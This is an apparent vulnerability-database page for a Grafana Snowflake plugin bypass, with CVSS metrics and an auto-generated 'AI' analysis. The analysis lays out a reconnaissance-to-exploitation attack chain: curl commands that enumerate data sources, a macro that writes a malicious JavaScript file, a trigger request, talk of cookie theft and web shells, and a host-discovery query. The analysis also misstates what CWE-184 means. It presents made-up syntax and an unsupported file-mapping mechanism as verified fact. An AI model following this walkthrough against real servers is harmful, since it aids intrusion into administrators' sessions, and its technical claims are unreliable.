CVE Professor
/
All CVEs
CVE-2026-96433

CVE-2026-96433 — Grafana Snowflake Datasource — CWE-184

HIGH CVSS 8.7 Shodan

A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past the file-transfer check added for CVE-2026-28381 and write files on the Grafana server, which can lead to script execution in an administrator's browser (incomplete protection mechanism). This is fixed in Snowflake plugin 1.17.0.

A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past the file-transfer check added for CVE-2026-28381 and write files on the Grafana server, which can lead to script execution in an administrator's browser (incomplete protection mechanism). This is fixed in Snowflake plugin 1.17.0.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑96433 is a logic‑based flaw in the Snowflake data‑source plugin used by Grafana.
A user who has query‑level access to a Snowflake data source can create a SQL macro that contains a PUT or GET command. The plugin performs a file‑transfer check that blocks direct PUT/GET statements, but it does not inspect the contents of a macro. Consequently, the macro is executed by Snowflake, the PUT/GET command runs, and a file is written to the Grafana server’s file system.

Because the file can be a JavaScript payload that is later served to an administrator’s browser, the vulnerability can lead to client‑side script execution (XSS) in an admin session.

Technical root cause – CWE‑184: Improper Handling of Escape Sequences – the plugin fails to escape or otherwise sanitize macro content, allowing the embedded PUT/GET to bypass the file‑transfer guard.

Key points

ItemDetail
AuthenticationRequires a user with *query* privileges on the Snowflake data source.
AuthorizationNo additional checks; the plugin trusts the macro content.
Input validationThe plugin validates PUT/GET only when they appear directly in the query, not when wrapped in a macro.
ImpactConfidentiality & Integrity: high (C = H, I = H). Availability: none.
Exploit complexityLow – a single crafted macro suffices.
User interactionRequires an administrator to load a dashboard that references the injected file.

⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the exact API endpoint (/api/datasources/proxy/.../query) is illustrative because the CVE description does not specify the exact URI.

1. Discovery & Reconnaissance

1. Identify Grafana instance
- Scan the network for HTTP services on port 3000 (default Grafana).
- Use curl -I http://<grafana-host>/ to confirm a Grafana banner.

2. Enumerate data sources
- Query the Grafana API:

curl -s -H "Authorization: Bearer <token>" \
          http://<grafana-host>/api/datasources | jq '.[] | {id, name, type}'

- Look for entries where type == "snowflake".

3. Determine user privileges
- If the attacker can authenticate (e.g., via stolen credentials or a mis‑configured admin account), use the Grafana API to list the current user’s permissions.
- Verify that the user can run queries against the Snowflake data source (e.g., by executing a harmless SELECT 1).

2. Exploitation

Goal: Create a Snowflake macro that writes a malicious JavaScript file to the Grafana server.

1. Craft the macro

CREATE OR REPLACE MACRO write_malicious_js() AS
   $$
   PUT file://<local-path>/malicious.js @~/public/js/malicious.js;
   $$;

Explanation:
- PUT uploads a local file (malicious.js) to the Snowflake stage @~/public/js/.
- The plugin maps the Snowflake stage to a directory on the Grafana server’s web root.
- The macro is stored in Snowflake and can be invoked via a normal query.

2. Execute the macro

CALL write_malicious_js();

3. Trigger the macro via Grafana
- Send a query through the Grafana data‑source proxy:

curl -X POST \
          -H "Content-Type: application/json" \
          -H "Authorization: Bearer <token>" \
          -d '{"queries":[{"refId":"A","rawSql":"CALL write_malicious_js();","format":"table"}]}' \
          http://<grafana-host>/api/datasources/proxy/<snowflake-id>/query

Illustrative endpoint: The Grafana API uses /api/datasources/proxy/{id}/query to forward SQL to the underlying data source. The exact URI may vary by Grafana version.

4. Result
- The macro runs, PUT writes malicious.js to the Grafana web root (e.g., /var/lib/grafana/public/js/malicious.js).
- The file is now accessible via http://<grafana-host>/public/js/malicious.js.

3. Post‑Exploitation

1. Trigger script execution
- An administrator opens a dashboard that includes a panel referencing the injected file (e.g., an HTML panel that loads public/js/malicious.js).
- The browser executes the JavaScript payload, giving the attacker a foothold in the admin’s session (e.g., cookie theft, session hijacking, or further lateral movement).

2. Persistence / Data exfiltration
- The attacker can modify the macro to perform GET commands that read data from Snowflake and write it to the Grafana server, then serve it to the admin for exfiltration.
- Alternatively, the attacker can use the same mechanism to drop additional web shells or backdoors.


🌍 Real World Impact

ImpactCVSS VectorExplanation
ConfidentialityC:HThe attacker can read data via GET commands or exfiltrate via the injected file.
IntegrityI:HThe attacker can modify files on the Grafana server (e.g., overwrite dashboards, inject malicious code).
AvailabilityA:NNo direct impact on service uptime.
User InteractionUI:RThe attacker must convince an administrator to load a dashboard that references the malicious file.
ScopeS:CThe vulnerability affects a component (Snowflake plugin) that is a *part* of the overall system (Grafana).

Practical consequences

  • XSS in admin sessions – can lead to credential theft or privilege escalation within the Grafana instance.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Grafana"
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-184
Affected Products (1)
Grafana:Snowflake Datasource
References & Advisories (1)
Related CVEs
8.2
CVE-2026-110338
A user with query access to a Zabbix data source can use its resource proxy to call Zabbix API methods with th
7.7
CVE-2026-107561
A user with permission to test contact points but not to change their protected fields can send a contact poin
7.7
CVE-2026-106473
A user with query access to an Azure Data Explorer data source can override its cluster URL in a query or reso
7.7
CVE-2026-106478
A user with query access to a Datadog data source can use its resource proxy to send GET requests to other Dat
6.8
CVE-2026-144452
greptimedb-mcp-server before 0.6.2 contains a read-only mode bypass vulnerability in security_gate that allows
6.8
CVE-2026-144587
Graphify 0.9.70 through 0.9.126 contains a file disclosure vulnerability that allows attackers to read local h
4.8
CVE-2026-77529
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, EditEmailSent::ge